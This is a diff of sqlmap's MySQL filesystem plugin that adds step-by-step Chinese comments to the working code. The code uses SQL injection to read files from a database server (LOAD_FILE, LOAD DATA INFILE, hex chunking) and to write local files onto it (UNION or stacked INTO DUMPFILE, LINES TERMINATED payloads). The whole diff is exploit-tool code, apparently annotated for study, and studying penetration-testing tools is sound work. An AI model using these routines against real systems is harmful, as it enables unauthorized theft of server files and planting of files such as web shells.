@ -5,96 +5,118 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file ' LICENSE ' for copying permission
"""
from lib . core . agent import agent
from lib . core . common import getSQLSnippet
from lib . core . common import isNumPosStrValue
from lib . core . common import isTechniqueAvailable
from lib . core . common import popValue
from lib . core . common import pushValue
from lib . core . common import randomStr
from lib . core . common import singleTimeWarnMessage
from lib . core . compat import xrange
from lib . core . data import conf
from lib . core . data import kb
from lib . core . data import logger
from lib . core . decorators import stackedmethod
from lib . core . enums import CHARSET_TYPE
from lib . core . enums import DBMS
from lib . core . enums import EXPECTED
from lib . core . enums import PAYLOAD
from lib . core . enums import PLACE
from lib . core . exception import SqlmapNoneDataException
from lib . request import inject
from lib . request . connect import Connect as Request
from lib . techniques . union . use import unionUse
from plugins . generic . filesystem import Filesystem as GenericFilesystem
# 1. 从库中导入需要的模块
from lib . core . agent import agent # SQL 注入执行代理
from lib . core . common import getSQLSnippet # 获取 SQL 代码片段
from lib . core . common import isNumPosStrValue # 检查值是否为正数
from lib . core . common import isTechniqueAvailable # 判断某注入方法是否可用
from lib . core . common import popValue # 弹出栈值
from lib . core . common import pushValue # 压入栈值
from lib . core . common import randomStr # 生成随机字符串
from lib . core . common import singleTimeWarnMessage # 输出只显示一次的警告
from lib . core . compat import xrange # 兼容的 range 函数
from lib . core . data import conf # 全局配置信息
from lib . core . data import kb # 全局知识库
from lib . core . data import logger # 日志记录器
from lib . core . decorators import stackedmethod # 堆叠方法装饰器
from lib . core . enums import CHARSET_TYPE # 字符集类型
from lib . core . enums import DBMS # 数据库类型枚举
from lib . core . enums import EXPECTED # 期望类型
from lib . core . enums import PAYLOAD # payload 类型
from lib . core . enums import PLACE # 注入位置
from lib . core . exception import SqlmapNoneDataException # 无数据异常
from lib . request import inject # 注入相关函数
from lib . request . connect import Connect as Request # 连接请求
from lib . techniques . union . use import unionUse # UNION 注入方法
from plugins . generic . filesystem import Filesystem as GenericFilesystem # 通用文件系统操作类
# 2. 定义一个类 Filesystem, 继承自 GenericFilesystem
class Filesystem ( GenericFilesystem ) :
# 3. 非堆叠读取文件的方法
def nonStackedReadFile ( self , rFile ) :
# 4. 如果不是暴力模式,则输出读取文件信息
if not kb . bruteMode :
infoMsg = " fetching file: ' %s ' " % rFile
logger . info ( infoMsg )
# 5. 执行SQL注入, 读取文件内容, 并以十六进制返回
result = inject . getValue ( " HEX(LOAD_FILE( ' %s ' )) " % rFile , charsetType = CHARSET_TYPE . HEXADECIMAL )
# 6. 返回读取结果
return result
# 7. 堆叠读取文件的方法
def stackedReadFile ( self , remoteFile ) :
# 8. 如果不是暴力模式,则输出读取文件信息
if not kb . bruteMode :
infoMsg = " fetching file: ' %s ' " % remoteFile
logger . info ( infoMsg )
# 9. 创建支持表
self . createSupportTbl ( self . fileTblName , self . tblField , " longtext " )
# 10. 获取远程临时目录
self . getRemoteTempPath ( )
# 11. 构建临时文件名
tmpFile = " %s /tmpf %s " % ( conf . tmpPath , randomStr ( lowercase = True ) )
# 12. 输出调试信息
debugMsg = " saving hexadecimal encoded content of file ' %s ' " % remoteFile
debugMsg + = " into temporary file ' %s ' " % tmpFile
logger . debug ( debugMsg )
# 13. 通过堆叠查询,将文件内容以十六进制形式保存到临时文件
inject . goStacked ( " SELECT HEX(LOAD_FILE( ' %s ' )) INTO DUMPFILE ' %s ' " % ( remoteFile , tmpFile ) )
# 14. 输出调试信息
debugMsg = " loading the content of hexadecimal encoded file "
debugMsg + = " ' %s ' into support table " % remoteFile
logger . debug ( debugMsg )
# 15. 通过堆叠查询,将临时文件内容导入到支持表中
inject . goStacked ( " LOAD DATA INFILE ' %s ' INTO TABLE %s FIELDS TERMINATED BY ' %s ' ( %s ) " % ( tmpFile , self . fileTblName , randomStr ( 10 ) , self . tblField ) )
# 16. 从支持表中获取文件内容的长度
length = inject . getValue ( " SELECT LENGTH( %s ) FROM %s " % ( self . tblField , self . fileTblName ) , resumeValue = False , expected = EXPECTED . INT , charsetType = CHARSET_TYPE . DIGITS )
# 17. 如果获取到的文件长度不合法
if not isNumPosStrValue ( length ) :
warnMsg = " unable to retrieve the content of the "
warnMsg + = " file ' %s ' " % remoteFile
# 18. 如果是直接模式或可以使用UNION注入
if conf . direct or isTechniqueAvailable ( PAYLOAD . TECHNIQUE . UNION ) :
if not kb . bruteMode :
warnMsg + = " , going to fall-back to simpler UNION technique "
logger . warning ( warnMsg )
# 19. 使用非堆叠方法读取文件
result = self . nonStackedReadFile ( remoteFile )
else :
# 20. 如果没有可用的方法,则抛出异常
raise SqlmapNoneDataException ( warnMsg )
else :
# 21. 将获取到的文件长度转为整数
length = int ( length )
chunkSize = 1024
# 22. 如果文件长度大于 chunkSize
if length > chunkSize :
result = [ ]
# 23. 循环读取文件内容
for i in xrange ( 1 , length , chunkSize ) :
chunk = inject . getValue ( " SELECT MID( %s , %d , %d ) FROM %s " % ( self . tblField , i , chunkSize , self . fileTblName ) , unpack = False , resumeValue = False , charsetType = CHARSET_TYPE . HEXADECIMAL )
result . append ( chunk )
else :
# 24. 直接读取文件内容
result = inject . getValue ( " SELECT %s FROM %s " % ( self . tblField , self . fileTblName ) , resumeValue = False , charsetType = CHARSET_TYPE . HEXADECIMAL )
# 25. 返回文件内容
return result
# 26. 使用 UNION 注入写入文件的方法
@stackedmethod
def unionWriteFile ( self , localFile , remoteFile , fileType , forceCheck = False ) :
logger . debug ( " encoding file to its hexadecimal string value " )
# 27. 对本地文件进行十六进制编码
fcEncodedList = self . fileEncode ( localFile , " hex " , True )
fcEncodedStr = fcEncodedList [ 0 ]
fcEncodedStrLen = len ( fcEncodedStr )
# 28. 如果在 GET 请求中且编码后的长度大于 8000, 则输出警告信息
if kb . injection . place == PLACE . GET and fcEncodedStrLen > 8000 :
warnMsg = " as the injection is on a GET parameter and the file "
warnMsg + = " to be written hexadecimal value is %d " % fcEncodedStrLen
@ -102,28 +124,36 @@ class Filesystem(GenericFilesystem):
warnMsg + = " writing process "
logger . warning ( warnMsg )
# 29. 输出调试信息
debugMsg = " exporting the %s file content to file ' %s ' " % ( fileType , remoteFile )
logger . debug ( debugMsg )
# 30. 强制使用负数 where 条件
pushValue ( kb . forceWhere )
kb . forceWhere = PAYLOAD . WHERE . NEGATIVE
# 31. 构建 SQL 查询语句
sqlQuery = " %s INTO DUMPFILE ' %s ' " % ( fcEncodedStr , remoteFile )
# 32. 执行 SQL 查询
unionUse ( sqlQuery , unpack = False )
kb . forceWhere = popValue ( )
# 33. 输出警告信息,提示文件可能包含垃圾字符
warnMsg = " expect junk characters inside the "
warnMsg + = " file as a leftover from UNION query "
singleTimeWarnMessage ( warnMsg )
# 34. 检查写入的文件
return self . askCheckWrittenFile ( localFile , remoteFile , forceCheck )
# 35. 使用 LINES TERMINATED 写入文件的方法
def linesTerminatedWriteFile ( self , localFile , remoteFile , fileType , forceCheck = False ) :
logger . debug ( " encoding file to its hexadecimal string value " )
# 36. 对本地文件进行十六进制编码
fcEncodedList = self . fileEncode ( localFile , " hex " , True )
fcEncodedStr = fcEncodedList [ 0 ] [ 2 : ]
fcEncodedStrLen = len ( fcEncodedStr )
# 37. 如果在 GET 请求中且编码后的长度大于 8000, 则输出警告信息
if kb . injection . place == PLACE . GET and fcEncodedStrLen > 8000 :
warnMsg = " the injection is on a GET parameter and the file "
warnMsg + = " to be written hexadecimal value is %d " % fcEncodedStrLen
@ -131,47 +161,59 @@ class Filesystem(GenericFilesystem):
warnMsg + = " writing process "
logger . warning ( warnMsg )
# 38. 输出调试信息
debugMsg = " exporting the %s file content to file ' %s ' " % ( fileType , remoteFile )
logger . debug ( debugMsg )
# 39. 获取 SQL 代码片段
query = getSQLSnippet ( DBMS . MYSQL , " write_file_limit " , OUTFILE = remoteFile , HEXSTRING = fcEncodedStr )
# 40. 添加 SQL 前缀
query = agent . prefixQuery ( query ) # Note: No need for suffix as 'write_file_limit' already ends with comment (required)
# 41. 生成 payload
payload = agent . payload ( newValue = query )
# 42. 执行 SQL 查询
Request . queryPage ( payload , content = False , raise404 = False , silent = True , noteResponseTime = False )
# 43. 输出警告信息,提示文件可能包含垃圾字符
warnMsg = " expect junk characters inside the "
warnMsg + = " file as a leftover from original query "
singleTimeWarnMessage ( warnMsg )
# 44. 检查写入的文件
return self . askCheckWrittenFile ( localFile , remoteFile , forceCheck )
# 45. 使用堆叠查询写入文件的方法
def stackedWriteFile ( self , localFile , remoteFile , fileType , forceCheck = False ) :
# 46. 输出调试信息
debugMsg = " creating a support table to write the hexadecimal "
debugMsg + = " encoded file to "
logger . debug ( debugMsg )
# 47. 创建支持表
self . createSupportTbl ( self . fileTblName , self . tblField , " longblob " )
# 48. 输出调试信息
logger . debug ( " encoding file to its hexadecimal string value " )
# 49. 对本地文件进行十六进制编码
fcEncodedList = self . fileEncode ( localFile , " hex " , False )
# 50. 输出调试信息
debugMsg = " forging SQL statements to write the hexadecimal "
debugMsg + = " encoded file to the support table "
logger . debug ( debugMsg )
# 51. 将文件内容转换为 SQL 查询语句
sqlQueries = self . fileToSqlQueries ( fcEncodedList )
# 52. 输出调试信息
logger . debug ( " inserting the hexadecimal encoded file to the support table " )
# 53. 设置最大允许的数据包大小
inject . goStacked ( " SET GLOBAL max_allowed_packet = %d " % ( 1024 * 1024 ) ) # 1MB (Note: https://github.com/sqlmapproject/sqlmap/issues/3230)
# 54. 循环执行 SQL 查询语句
for sqlQuery in sqlQueries :
inject . goStacked ( sqlQuery )
# 55. 输出调试信息
debugMsg = " exporting the %s file content to file ' %s ' " % ( fileType , remoteFile )
logger . debug ( debugMsg )
# 56. 使用 DUMPFILE 将数据导出到远程文件
# Reference: http://dev.mysql.com/doc/refman/5.1/en/select.html
inject . goStacked ( " SELECT %s FROM %s INTO DUMPFILE ' %s ' " % ( self . tblField , self . fileTblName , remoteFile ) , silent = True )
return self . askCheckWrittenFile ( localFile , remoteFile , forceCheck )
# 57. 检查写入的文件
return self . askCheckWrittenFile ( localFile , remoteFile , forceCheck )